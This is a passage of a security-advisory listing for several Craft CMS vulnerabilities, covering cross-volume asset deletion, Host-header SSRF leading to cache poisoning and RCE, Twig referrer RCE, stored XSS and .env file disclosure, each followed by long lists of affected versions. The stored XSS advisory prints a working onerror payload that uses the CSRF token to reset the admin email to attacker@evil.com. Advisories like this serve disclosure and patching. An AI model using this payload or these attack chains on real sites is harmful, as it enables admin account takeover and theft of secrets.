In the branch where both assets are present, Craft copies the source file into the target and then deletes the source asset. There is no check for deleteAssets:<sourceVolumeUid> or deletePeerAssets:<sourceVolumeUid> for the source asset before deletion.

$assets->replaceAssetFile($assetToReplace, $tempPath, $assetToReplace->getFilename(), $sourceAsset->getMimeType());
Craft::$app->getElements()->deleteElement($sourceAsset);

src/controllers/AssetsController.php:L462-L463

Impact

An authenticated user who can replace files in one volume can delete assets in another volume where they do not have delete permission, as long as they can obtain a sourceAssetId. This can lead to unauthorized asset deletion, broken content references, and data loss.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-55791 GHSA-c55v-343g-5xff Jun 19, 2026

Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs

Critical

Network Low None None

1. Overview

Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the /actions/app/resource-js endpoint. By exploiting the default permissive trustedHosts configuration, an attacker can poison the Host or X-Forwarded-Host header to manipulate the application’s $baseUrl. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a Content-Type: application/javascript header.

2. Vulnerability Mechanism (Root Cause) The vulnerability manifests when assetManager.cacheSourcePaths is set to false. The attack chain relies on three structural flaws and insecure defaults:

A. Default Proxy Trust (trustedHosts): Craft’s default GeneralConfig::$trustedHosts is set to ['any']. This allows an attacker to bypass front-end web server (Nginx/Apache) strict Host header validations by simply injecting an X-Forwarded-Host header. Yii2 will parse this and globally set $baseUrl to the attacker's domain.
B. Insecure HTTP Client (actionResourceJs): In AppController::actionResourceJs(), the str_starts_with($url, $baseUrl) validation is bypassed because $baseUrl is already poisoned by the attacker. The core then uses Craft::createGuzzleClient()->get($url). Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to ALLOW_REDIRECTS => true.
C. Forced JS Content-Type: The response fetched from the attacker's server is blindly returned to the user via $this->asRaw() with the header Content-Type: application/javascript.

3. Attack Scenario & Impact (Proof of Exploitability) This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved.

If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to Web Cache Poisoning:

An unauthenticated attacker sends the poisoned request.
The caching layer caches the malicious JavaScript response for the legitimate /actions/app/resource-js URI.
When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (Stored XSS).
The malicious script extracts window.Craft.csrfTokenValue and silently sends a POST request to /admin/actions/plugins/install-plugin, achieving 1-Click Remote Code Execution (RCE) via Session Riding.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 408 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.18


          5.10

References

Updated Jun 19, 2026 · Source: OSV.dev

Apr 14, 2026

5.9.19 patch

11 CVEs

CVE-2026-55794 GHSA-f74w-488g-8x5r Jul 06, 2026

Craft CMS: Potential authenticated Remote Code Execution via referrer redirect

High

Network Low Low None

Requirements:

Control panel access
Permissions to edit an entry

Details

Control panel users with the ability to edit entries can execute unsandboxed Twig code via the HTTP Referrer header.

The issue happens when a user is saving entries. Strings for a signed redirect URL are being compiled as a Twig template via renderObjectTemplate(), and while a sandboxed alternative already exists (renderSandboxedObjectTemplate()), it is not used in this case. This signed URL can be specified by users, as it is reflected in the “Referer” HTTP request header, which is under attacker control.

This has been fixed in Craft 5.10.0. Affected users should update to that version or higher to get the fix.

Resources

https://github.com/craftcms/cms/pull/18680

Affected versions


          5.9.0


          5.9.1


          5.9.10


          5.9.11


          5.9.12


          5.9.13


          5.9.14


          5.9.15


          5.9.16


          5.9.17


          5.9.18


          5.9.19

+ 12 more


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55793 GHSA-xrqc-p465-2xvg Jul 06, 2026

Craft CMS: Stored XSS via Structure entry title in table view

Medium

Network Low Low

Stored XSS via Structure entry title in table view

Summary

An Author-level control panel user can store a JavaScript payload in an entry title. When an admin, or any control panel user with saveEntries for the same Structure section, drags another entry under the poisoned entry in table view, the payload executes in the victim’s session.

The issue is exploitable because the title is escaped into data-title by the server, decoded again by the browser, read with jQuery .data('title'), and then concatenated into a new HTML string without attribute escaping.

Execution was verified with alert(document.domain). Impact was verified against an elevated admin session by changing the admin user’s email through users/save-user, then using the password-reset flow to take over the account.

Preconditions

Attacker has createEntries + saveEntries on a Structure-type section (Author-style CP account; no admin permission required).
Victim has saveEntries on the same section. Craft only renders drag handles when structureEditable is true, which requires this permission, so any admin qualifies.
Section must be type Structure. Channel and Single sections are unaffected.
Poisoned entry must have no children at the time of the drag (fires on the 0-to-1 descendant transition).
For the email-change account-takeover path, the victim must currently have an elevated session. The stored XSS itself does not require elevation.

Root cause

ElementTableSorter.js lines 643-652:

const ancestorTitle = this._updateAncestors._$ancestor.data('title');
$(
  '<button … aria-label="' +
    Craft.t('app', 'Show {title} children', {title: ancestorTitle}) +
  '"></button>'
).insertAfter(…);

Craft.t with a {title} token calls _parseToken, reaches case 'none': return arg (Craft.js:193-194), and returns the title verbatim. The result is handed to jQuery's $() and parsed as HTML.

The server-side template correctly encodes the entry title into data-title, but the browser decodes that attribute before jQuery returns it from .data('title'). At that point the value is attacker-controlled HTML, and it is inserted into the aria-label attribute without Craft.escapeHtml().

Steps to reproduce

Plant (attacker - Author account):

python3 poc.py --url http://target --cp admin \
  --user author@example.com --pass secret --section mySection

Trigger (victim - any control panel user with saveEntries, e.g. admin):

Open the section index in Table view.
Drag the "Drag me" entry and drop it as the first child of the poisoned entry.

alert(document.domain) fires in the victim’s session.

Impact payload tested in an elevated admin session (249 chars, within the 255-char title limit):

"><img src=x onerror="fetch(Craft.actionUrl+'users/save-user',{method:'POST',body:Craft.csrfTokenName+'='+encodeURIComponent(Craft.csrfTokenValue)+'&userId=1&email=attacker%40evil.com',headers:{'Content-Type':'application/x-www-form-urlencoded'}})">

When triggered during an elevated admin session, the admin’s email is changed to the attacker-controlled address. The attacker can then request a password reset and receive the reset link.

Impact

Stored XSS in the control panel from an Author-level account. The payload runs as the victim control panel user and can use Craft.csrfTokenName / Craft.csrfTokenValue to send same-origin action requests as that user.

In my test environment, triggering the payload in an elevated admin session allowed Author-to-admin account takeover via admin email change and password reset.

Mitigating factors

Requires an existing control panel account (Author role minimum).
Victim must perform a drag operation, not just visit the page.
The demonstrated email-change takeover requires the victim’s session to be elevated at trigger time.

Resources

https://github.com/craftcms/cms/commit/162321e899cc97517fb6f5a02b5528f549d0c6cc

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 159 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.53

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55792 GHSA-287w-mxq6-x2cp Jul 06, 2026

Craft CMS: Sensitive File Disclosure / Server-Side File Read

Medium

Network Low Low None

The dataUrl() Twig function is included in Craft’s Twig sandbox allowlist, allowing any control panel user granted the utility:system-messages permission to embed a file-reading payload into system email templates. When those emails are sent, the server reads the target file and returns its contents as a base64-encoded data URL embedded in the email body. The .env file, which typically contains the database password, CRAFT_SECURITY_KEY, and third-party API keys, passes all of Craft’s existing dataUrl() protection checks and is fully exfiltrated. Obtaining CRAFT_SECURITY_KEY enables an attacker to forge session tokens and escalate to full admin account takeover.

Details

Affected versions: Craft CMS 4.x, 5.x (confirmed against 5.9.19)

The vulnerability arises from the combination of three code facts:

dataUrl is in the Twig sandbox allowlist src/config/twig-sandbox.php, line 115: php'allowedFunctions' => [ ... 'dataUrl', // ← allows file reading inside sandboxed templates ... ],
Html::dataUrl() does not block dotfiles src/helpers/Html.php, lines 1065–1090. The function applies four checks before reading a file:

Must be within the project root .env is at the root Must not be in a system directory (config/, vendor/, storage/, templates/) .env is not Must not be a .php file .env has no extension File must exist .env always exists in a Craft install

There is no check for dotfiles or specifically for .env. All four checks pass silently and file_get_contents() is called, with the result returned as data:text/plain;base64,....

System message body is rendered via renderSandboxedString() src/mail/Mailer.php, lines 181–183: php$subject = $view->renderSandboxedString($systemMessage->subject, $variables); $textBody = $view->renderSandboxedString($systemMessage->body, $variables); $htmlBody = $view->renderSandboxedString($systemMessage->body, $variables, escapeHtml: true);

Any body content saved to a system message is executed inside the Twig sandbox when the email renders. Because dataUrl is in allowedFunctions, the sandbox policy permits its execution without restriction.

Access control: The utility:system-messages permission is a non-admin CP permission grantable to any user group via Settings > Users > Groups. It is not restricted to admins.

Impact

Vulnerability type: Sensitive File Disclosure / Server-Side File Read Who is impacted: Any Craft CMS 4.x or 5.x installation where at least one non-admin control panel user has been granted the utility:system-messages permission, and email sending is configured.

Resources:

https://github.com/craftcms/cms/pull/18559

Affected versions


          4.0.0


          4.0.0-RC1


          4.0.0-RC2


          4.0.0-RC3


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2

+ 408 more


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.0-RC1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


